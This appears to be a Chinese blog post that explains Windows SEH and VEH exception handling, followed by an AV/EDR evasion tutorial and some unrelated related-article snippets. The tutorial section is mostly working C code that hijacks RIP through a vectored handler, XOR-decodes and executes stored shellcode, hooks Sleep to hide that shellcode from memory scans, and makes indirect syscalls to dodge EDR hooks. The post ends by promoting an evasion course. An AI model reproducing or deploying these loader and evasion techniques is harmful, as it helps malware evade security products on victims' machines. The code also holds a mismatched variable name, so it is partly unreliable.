从安全角度看 SEH 和 VEH
从安全角度看 SEH 和 VEH
异常处理程序是处理程序中不可预见的错误的基本方法之一
-
https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
SEH——结构化异常处理程序
就其工作方式而言,异常处理程序与其他处理程序相比相当基础,有一个 try 块用于包装不安全代码,还有一个 except 块用于在生成特定异常时进行处理。
在下面的代码中示例中,可以通过将 0 作为第二个输入来生成异常,因为除以零是系统生成的异常。这被包装在try
块中,过滤器代码会检查这是什么类型的异常,在这种情况下,如果是,EXCEPTION_INT_DIVIDE_BY_ZERO
将继续处理包装在except
块中的异常。
int main() {__try{int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);}__except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH){printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n");}return 0; }
从编译时开始。编译器生成有关异常的所有必要信息,异常类型,过滤器的位置和处理它的最终代码等,最后将它们内嵌到PE文件的异常框架中
VEH——向量异常处理程序
向量异常处理是结构化异常处理的扩展,这些处理程序使用回调函数机制工作。每当发生异常时,就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler
在程序中的任何位置注册回调。
需要注意的是,VEH 异常处理程序是全局注册的,并不与单个函数或单个堆栈框架绑定。由于向后兼容,系统首先调用所有 VEH 处理程序,如果所有处理程序均未执行该处理程序,则将其传递给 SEH。此外,VEH 以循环链接列表的形式实现。
PVOID AddVectoredExceptionHandler( ULONG First, PVECTORED_EXCEPTION_HANDLER Handler );
winAPI 有两个参数,
-
第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。
-
第二个参数是要注册的回调函数的指针。
回调函数定义如下
PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;LONG PvectoredExceptionHandler( [in] _EXCEPTION_POINTERS *ExceptionInfo )
第一个参数中指向结构的指针定义如下
typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
该结构包含两个主要成员:
结构体中的第一个指针指向结构体EXCEPTION_RECORD
里面包含定义的异常的详细信息
ExceptionRecord
定义如下:
typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
第一个元素是最常用的,它包含产生了什么类型的异常,例如STATUS_INTEGER_DIVISION_BY_ZERO
。
第二个指针指向结构CONTEXT
,其中包含异常发生时CPU上下文的所有细节。这个结构非常重要,因为它可以允许读取和写回数据,一旦执行恢复,这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时,系统将根据返回值继续搜索异常或继续执行进程。
当系统继续执行进程时,它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的,安全产品通常不会检测到这种CPU状态覆盖。
VEH 的使用非常简单:
注册一个名为VEHHandler()的处理程序,它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。
LONG WINAPI VEHHandler(struct _EXCEPTION_POINTERS* ExceptionInfo ) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n");}return EXCEPTION_CONTINUE_EXECUTION; }int main() {PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);RemoveVectoredExceptionHandler(h1);return 0; }
与SEH不同,VEH可以被认为是一种运行时机制,因为处理程序是在运行时过程中的任何地方注册和删除的。
异常处理技术在绕过防护机制中的应用
执行payload
由于可以访问 context 结构,所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置,这意味着可以进行间接调用。
void myFunction() { //payload..........printf("[*] myFunction() Called\n"); }LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo ) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {ULONG64 Offset = 0x1000;HMODULE BaseAddress = GetModuleHandleA(NULL);printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;}return EXCEPTION_CONTINUE_EXECUTION; }int main() {PVOID h1 = AddVectoredExceptionHandler(1, testHandler);int inp1 = 0, inp2 = 0;int result = inp1 / inp2;RemoveVectoredExceptionHandler(h1);return 0; }
运行时代码解密+规避内存扫描
使用异常EXCEPTION_ACCESS_VIOLATION,该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中,全局变量不是可执行内存区域,所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。
#define XOR_KEY 0x66char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo ) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {printf("[*] 进入异常处理\n");DWORD flOldProtect;for (int i = 0; i < sizeof(enc_shellcode); i++) {encode_shellcode[i] ^= XOR_KEY;}BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);if (res == TRUE) {printf("[*] 执行权限改为 PAGE_EXECUTE\n");}}return EXCEPTION_CONTINUE_EXECUTION; }int main() {PVOID h1 = AddVectoredExceptionHandler(1, testHandler);(*(void (*)()) & encode_shellcode)();RemoveVectoredExceptionHandler(h1);return 0; }
然后再Hook Sleep函数,将功能模块的内存属性改为不可执行,便可规避后续的内存扫描。
static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep; void WINAPI NewCustomSleep(DWORD dwMilliseconds) {if (CustomFlag){VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);CustomFlag = false;}printf("custom sleep time:%d\n", dwMilliseconds);unhookCustomSleep();OrigSleep(dwMilliseconds);hookCustomSleep(); } void hookCustomSleep() {DWORD dwOldProtect = NULL;BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect); } void unhookCustomSleep() {DWORD dwOldProtect = NULL;VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect); }
运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘,可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现,读者可以尝试
间接系统调用
与上面提到的可能性类似,也可以修改RIP,用ntdll.dll库中的地址覆盖它,以执行间接的系统调用。
系统调用由寄存器 RAX 控制,其中包含称为 SSN(系统服务编号)
HOOK技术是AV/EDR常用的检测机制,尽管使用syscall可以绕过检测,但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术,而从其他进程(如库本身)调用系统调用称为间接系统调用技术。
当在自己的程序中使用系统调用时,通常可以通过简单的签名被检测到(通过检查系统调用的来源),系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的,但是如果不是这样,它就会发出一个主要的危险信号。这是可以避免的,可以使用向量异常处理进行间接系统调用,这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性
最简单的方法是利用异常STATUS_ACCESS_VIOLATION,该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中,在本例中是0x18,它对应于系统调用ntallocatvirtualmemory,然后将其转换为函数并调用它。本质上,它调用地址0x18的函数,这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数,只需像调用其他函数一样调用存储SSN的变量,上下文将包含传递的参数。
一旦生成异常,就可以模拟系统调用指令,就像在ntdll.dll中找到它一样,并将控制流更改为dll中的系统调用地址。
typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);ULONG_PTR FindSyscallAddr() {FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };int cnt_sig = 0, cnt_fn = 0;while (TRUE) {if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {cnt_fn++;cnt_sig++;if (cnt_sig == sizeof(sig_syscall)) {ptr_sysaddr += cnt_fn - sizeof(sig_syscall);break;}}else {cnt_fn = cnt_fn - cnt_sig + 1;cnt_sig = 0;}}return (ULONG_PTR)ptr_sysaddr; }LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo ) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;printf("[*] Syscall Number: %#x\n", (INT32)ssn);ExceptionInfo->ContextRecord->Rax = ssn;ULONG_PTR SyscallAddr = FindSyscallAddr();ExceptionInfo->ContextRecord->Rip = SyscallAddr;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH; }int main() {PVOID h1 = AddVectoredExceptionHandler(1, testHandler);pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;PVOID retAddr = NULL;ULONG size = 0x1000;NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (retAddr == NULL) {printf("[!] NtAllocateVirtualMemory Failed\n");}else {printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);}RemoveVectoredExceptionHandler(h1);return 0; }
大家伙,如果想学习更多的知识,可以看我们的论坛: 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制
相关文章:
从安全角度看 SEH 和 VEH
从安全角度看 SEH 和 VEH 异常处理程序是处理程序中不可预见的错误的基本方法之一 https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/ SEH——结构化异常处理程序 就其工作方式而言,异常处理程序与其他处理程序相比相当基础࿰…...
【多维DP】力扣3366. 最小数组和
给你一个整数数组 nums 和三个整数 k、op1 和 op2。 你可以对 nums 执行以下操作: 操作 1:选择一个下标 i,将 nums[i] 除以 2,并 向上取整 到最接近的整数。你最多可以执行此操作 op1 次,并且每个下标最多只能执行一…...
钉钉h5微应用,鉴权提示dd.config错误说明,提示“jsapi ticket读取失败
这个提示大多是因为钉钉服务器没有成功读取到该企业的jsticket数据 1. 可能是你的企业corpid不对 登录钉钉管理后台 就可以找到对应企业的corpid 请严格使用这个corpid 。调用获取jsapi_ticket接口,使用的access_token对应的corpid和dd.config中传递的corpid不一致…...
Linux系统之tree命令的基本使用
Linux系统之tree命令的基本使用 一、tree命令介绍二、tree工具安装三、tree命令帮助3.1 查询帮助信息3.2 tree命令帮助解释 四、tree命令的基本使用4.1 直接使用4.2 *限制显示的层级4.3 仅显示目录4.4 不显示隐藏文件4.5 显示文件大小4.6 彩色输出4.7 输出到文件4.8 输出不同格…...
PyTorch框架——基于深度学习LYT-Net神经网络AI低光图像增强系统源码
第一步:LYT-Net介绍 本文介绍了LYT-Net,即轻量级YUV Transformer 网络,作为一种新的低光图像增强方法。所提出的架构与传统的基于Retinex的模型不同,它利用YUV颜色空间对亮度(Y)和色度(U和V&…...
【AI学习】DeepSeek-V3 技术报告学习:总体架构
翻了一下DeepSeek-V3 技术报告学习,太长,只是大概翻了一下,其中Multi-Token Prediction的技术就很亮眼。 摘要 本文介绍了DeepSeek-V3,这是一个拥有671B总参数的强大混合专家(MoE)语言模型,每…...
PyTorch快速入门
文章目录 前言简介软件包导入创建张量类型操作索引直接索引切片索引 维度变换增加维度删除维度维度重复维度交换broadcast合并张量拆分张量运算最后 前言 你好,我是醉墨居士,今天分享一下PyTorch的基本使用的快速入门教程,希望能够帮助各位快…...
GCP Cloud Observability 是什么,有什么使用场景
GCP Cloud Observability 是 Google Cloud Platform (GCP) 提供的一组工具和服务,用于监控、日志记录、追踪和调试应用程序和基础设施的健康和性能。通过收集和分析遥测数据(如指标、日志和追踪信息),Cloud Observability 有助于理…...
OpenCV相机标定与3D重建(35)计算两幅图像之间本质矩阵(Essential Matrix)的函数findEssentialMat()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 从两幅图像中的对应点计算本质矩阵。 cv::findEssentialMat 是 OpenCV 库中用于计算两幅图像之间本质矩阵(Essential Matrix…...
计算机毕业设计Hadoop+Spark美团美食推荐系统 美团餐厅推荐系统 美团推荐系统 美食价格预测 美团爬虫 美食数据分析 美食可视化大屏
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
【探花交友】SpringCache
目录 通用缓存SpringCache 重要概念 导入依赖 开启缓存支持 编写UserInfoService 缓存Cacheable 发布视频清空缓存 通用缓存SpringCache 实现缓存逻辑有2种方式: 每个接口单独控制缓存逻辑 统一控制缓存逻辑Spring从3.1开始定义了org.springframework.cac…...
链表 之 无头结点【哨兵位】单向非循环链表【单链表】增删改查 等方法
系列文章目录 🎈 🎈 我的CSDN主页:OTWOL的主页,欢迎!!!👋🏼👋🏼 🎉🎉我的C语言初阶合集:C语言初阶合集,希望能…...
2001年对墨西哥湾流进行的主动荧光测量数据
目录 简介 摘要 代码 引用 网址推荐 知识星球 机器学习 干旱监测平台 Active fluorescence measurements in the Gulf Stream in 2001 简介 "Active fluorescence measurements in the Gulf Stream in 2001"是指在2001年对墨西哥湾流进行的主动荧光测量。这…...
AtCoder Beginner Contest 386
1.D - Diagonal Separation 赛时一直卡在这道题,知道思路但不知道怎么解决,就是说若存在给定的白色方块出现在某个B方块与源点构成的区域内就无法实现,如果数据是1000则可以通过离散化 二维差分来解决,赛时一直在试图通过树状数组,线段树来解决&#x…...
Ajax总结
引言 这是属于前端的部分了,先是学习了三件套(HTML,JS,CSS没怎么学,但是大概能理解)之后就开始学习这个了,学习之前应该要知道她是做什么的,但是我没有做这一步,之后会先了解为什么要学习这门技…...
Springboot使用外置的Servlet容器
嵌入式Servlet容器:应用打成可执行的jar 优点:简单、便携 缺点:默认不支持JSP、优化定制比较复杂 外置的Servlet容器:外面安装Tomcat---应用war包的方式打包 一.嵌入式tomcat启动项目步骤: 1.创建一个普通maven项目…...
金仓数据库物理备份和还原
差异备份:是复制上次全备份以来所有变更数据的一种备份。 增量备份:没有重复的备份数据,备份的数据量不大,备份所需的时间很短,备份速度快 考点 sys_rman工具(必考) 配置 sys_backup.conf 初…...
Python提取字符串中的json,时间,特定字符
1.整个字符串为json s{"time":"2014-10-14 12:00", "tid":12, "info_message":"我爱python"} _jsonjson.loads(s) print(_json) 执行结果: {time: 2014-10-14 12:00, tid: 12, info_message: 我爱python} 2…...
Android `android.graphics.drawable` 包深度解析:架构与设计模式
Android android.graphics.drawable 包深度解析:架构与设计模式 目录 引言Drawable 概述Drawable 的架构 Drawable 类层次结构Drawable 的核心方法Drawable 的设计模式 装饰者模式工厂模式状态模式常用 Drawable 子类解析 BitmapDrawableShapeDrawableLayerDrawableStateList…...
从提示词到共振:李继刚的AI沟通法则
摘要:在极客公园的演讲中,李继刚分享了他对提示词的深入研究,提出了通过场域和共振达到与AI深层次交流的策略。他分析了AI的存在属性,指出未来提示词将因AI进化而变得更为简洁和高效。 一、Prompt思考与总结 本文内容大多是源于…...
Redis字符串底层结构对数值型的支持常用数据结构和使用场景
字符串底层结构 SDS (Simple Dynamic Strings) 是 Redis 中用于实现字符串类型的一种数据结构。SDS 的设计目标是提供高效、灵活的字符串操作,同时避免传统 C 字符串的一些缺点。 struct sdshdr {int len; // 已使用的长度int free; // 未使用的长度char bu…...
Windows下Python+PyCharm的安装步骤及PyCharm的使用
Windows下PythonPyCharm的安装步骤及PyCharm的使用 文章目录 Windows下PythonPyCharm的安装步骤及PyCharm的使用一、Python的安装(1)环境准备(2)Python安装(3)pip组件的安装 二、PyCharm的安装(…...
oracle基础:中文字段排序详解
在数据库操作中,中文字段排序是一个常见但又容易被忽视的问题。默认情况下,Oracle 数据库的排序规则是基于 Unicode 编码的,这可能导致排序结果并不符合预期,比如按拼音、部首或笔画排序。本文将详细解析如何在 Oracle 中实现中文…...
网络安全专有名词详解_3
80.WAF 即为Web Application Firewall,即Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 81.SOC Security Operations Center,翻译为安全运行中心,通过建立一套实时的资产风险模型&a…...
【C语言】库函数常见的陷阱与缺陷(三):内存分配函数[2]--calloc
C语言中的calloc函数是一个用于分配多个具有相同大小的内存块的函数,它在动态内存管理中扮演着重要角色。然而,在使用calloc时也存在一些陷阱与缺陷。 一、功能与常见用法 calloc(contiguous allocation)函数用于动态分配内存,相较于 malloc 函数,不仅能够在堆上为程序…...
CKA认证 | Day7 K8s存储
第七章 Kubernetes存储 1、数据卷与数据持久卷 为什么需要数据卷? 容器中的文件在磁盘上是临时存放的,这给容器中运行比较重要的应用程序带来一些问题。 问题1:当容器升级或者崩溃时,kubelet会重建容器,容器内文件会…...
.net core 的数据库编程
Python基础 Python是一种高级编程语言,由Guido van Rossum于1980年代后期发明,并于1991年首次发布。它以简洁的语法和易于阅读的代码风格著称,因而成为程序员和数据科学家等领域的热门选择。在这篇文章中,我们将深入探讨Python的…...
再生核希尔伯特空间(RKHS)上的分位回归
1. 基本定义和理论基础 1.1 再生核希尔伯特空间(RKHS) 给定一个非空集合 X \mathcal{X} X,一个希尔伯特空间 H \mathcal{H} H 称为再生核希尔伯特空间,如果存在一个函数 K : X X → R K: \mathcal{X} \times \mathcal{X} \rightarrow \mathbb{R} K…...
结构方程模型【SEM】:非线性、非正态、交互作用及分类变量分析
利用结构方程模型建模往往遇到很多‘特殊’情况:1)变量间为非直线关系;2)变量间存在交互作用;3)数据不满足正态分布;4)变量为非正态类型的数值变量,如0,1数据…...
不安全物联网的轻量级加密:综述
Abstract 本文综述了针对物联网(IoT)的轻量级加密解决方案。这项综述全面覆盖了从轻量级加密方案到不同类型分组密码的比较等多个方面。同时,还对硬件与软件解决方案之间的比较进行了讨论,并分析了当前最受信赖且研究最深入的分组…...
DeepSpeed 使用 LoRA 训练后文件结构详解
DeepSpeed 使用 LoRA 训练后文件结构详解 在大语言模型(LLM)的训练过程中,DeepSpeed 提供了强大的分布式训练能力,而 LoRA(Low-Rank Adaptation)通过参数高效微调技术显著减少了资源占用。完成训练后&…...
Mysql数据 新增、修改和删除操作时,这些变化如何被转换为Kafka消息?
Mysql数据 新增、修改和删除操作时,这些变化如何被转换为Kafka消息? 为了在FlinkCDC中配置MySQL同步到Kafka,并采用debezium-json数据格式,我们需要了解当执行新增、修改和删除操作时,这些变化如何被转换为Kafka消息。下面我们将详细介绍这些变化情况,并提供具体的数据样…...
高等数学 8.1向量及其线性运算
8.1 向量及其线性运算 文章目录 8.1 向量及其线性运算一、向量的概念向量的线性运算1.向量的加减法2.向量与数的乘法 三、空间直角坐标系四、利用坐标作向量的线性运算五、向量的模、方向角、投影1.向量的模与两点间的距离公式2.方向角与方向余弦3.向量在轴上的投影 一、向量的…...
向bash shell脚本传参
例子: ~ script % touch parameter.sh ~ script % chmod 755 parameter.sh ~ % vim parameter.shparameter.sh: #!/usr/bin/env bashecho the name of current script is $0echo the first parameter is $1echo the second parameter is $2echo all parameters: $…...
高精度算法:加减乘除 (学习笔记)
加法: 现有vector<int>a,b;并且已经输入了内容且倒置 vector<int> plus(vector<int>a,vector<int> b){ int as a.size(); int bs b.size(); vector<int>total; int carry 0; int ar 0, br 0; //读取位数 while (ar < as &am…...
JVM 主要组成部分与内存区域
一、JVM 主要组成部分: JVM的主要包含两个组件和两个子系统,分别为: (1)本地库接口(Native Interface):与native lib(本地方法库)交互,融合其他编程语言为Java所用,是与其它编程语言…...
10分钟掌握项目管理核心工具:WBS、甘特图、关键路径法全解析
一、引言 在项目管理的广阔天地里,犹如一场精心编排的交响乐演奏,每个乐器、每个音符都需精准配合才能奏响美妙乐章。而 WBS(工作分解结构)、甘特图、关键路径法无疑是这场交响乐中的关键乐章,它们从不同维度为项目管…...
python语音机器人(青云客免费api)
强调:不用登录注册,直接使用就好 青云客智能聊天机器人API python代码,直接可以运行: 1、安装库: pip install requests pyttsx3 SpeechRecognition sounddevice numpy scipy2、完整代码: import request…...
策略模式以及优化
使用场景 在一个条件语句中又包含了多个条件语句 具体策略类会过多 把抽象策略和具体策略放在一个枚举类里。 方法 exe() 相当于抽象策略,而A和B就相当于实现了抽象策略的具体策略 这样就只需要一个枚举类就可以解决具体策略类过多的问题 public enum Strategy {A{O…...
解决tomcat双击startup.bat乱码的几种方法
新环境,win10,今天下载了tomcat9.0.98,是压缩绿色版的,解压缩安装到了: D:\java\apache-tomcat-9.0.98 可以通过D:\java\apache-tomcat-9.0.98\bin\startup.bat双击来启动tomcat。 但是日志显示乱码。 后来找到了几种…...
计算机网络 (12)物理层下面的传输媒体
前言 计算机网络物理层下面的传输媒体是计算机网络设备之间的物理通路,也称为传输介质或传输媒介,并不包含在计算机网络体系结构中,而是处于物理层之下。 一、传输媒体的分类 导向型媒体:电磁波被导引沿着固体媒体传播。常见的导向…...
Spark生态圈
Spark 主要用于替代Hadoop中的 MapReduce 计算模型。存储依然可以使用 HDFS,但是中间结果可以存放在内存中;调度可以使用 Spark 内置的,也可以使用更成熟的调度系统 YARN 等。 Spark有完善的生态圈: Spark Core:实现了…...
如何计算相位差
如何计算相位差 假设我们有两个同频率的正弦信号: 这里两个信号的角频率w2πf是相同的,根据同频正弦信号相位差的计算方法,直接用两个信号的相位相减。 再来看利用波形图计算相位差的例子: 另一种计算方式:...
Bash Shell知识合集
1. chmod命令 创建一个bash shell脚本 hello.sh ~script $ touch hello.sh脚本创建完成后并不能直接执行,我们要用chmod命令授予它可执行的权限: ~script $ chmod 755 hello.sh授权后的脚本可以直接执行: ~script $ ./hello.sh2.指定运行…...
《信管通低代码信息管理系统开发平台》Windows环境安装说明
1 简介 《信管通低代码信息管理系统应用平台》提供多环境软件产品开发服务,包括单机、局域网和互联网。我们专注于适用国产硬件和操作系统应用软件开发应用。为事业单位和企业提供行业软件定制开发,满足其独特需求。无论是简单的应用还是复杂的系统&…...
如何查看服务器内存占用情况?
如何查看服务器的内存占用情况?你知道内存使用情况对服务器性能的重要性吗?内存是服务器运行的核心资源之一,了解内存的占用情况可以帮助你优化系统性能。 要查看服务器的内存占用情况,首先需要确定你使用的是哪种操作系统。不同…...
【源码】Sharding-JDBC源码分析之SQL中影子库ShadowSQLRouter路由的原理
Sharding-JDBC系列 1、Sharding-JDBC分库分表的基本使用 2、Sharding-JDBC分库分表之SpringBoot分片策略 3、Sharding-JDBC分库分表之SpringBoot主从配置 4、SpringBoot集成Sharding-JDBC-5.3.0分库分表 5、SpringBoot集成Sharding-JDBC-5.3.0实现按月动态建表分表 6、【…...
OCR实践-Table-Transformer
前言 书接上文 OCR实践—PaddleOCR Table-Transformer 与 PubTables-1M table-transformer,来自微软,基于Detr,在PubTables1M 数据集上进行训练,模型是在提出数据集同时的工作, paper PubTables-1M: Towards comp…...
代码随想录五刷day6
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣144. 二叉树的前序遍历(递归)二、力扣144. 二叉树的前序遍历(迭代)三、力扣145. 二叉树的后序遍历(递归)四、力扣145. 二叉树的后序遍历(迭代)五、力扣…...
【自信息、信息熵、联合熵、条件熵、互信息】
文章目录 一、自信息 I(X)二、信息熵:衡量系统的混乱程度信息熵 H(X)联合熵 H(X,Y) 三、条件熵H(Y|X) 联合熵H(X,Y) - 信息熵H(X)四、互信息 I(X,Y)五、总结References 一、自信息 I(X) 自信息(Self-information) 是由香农提出的,用来衡量单一事件发生…...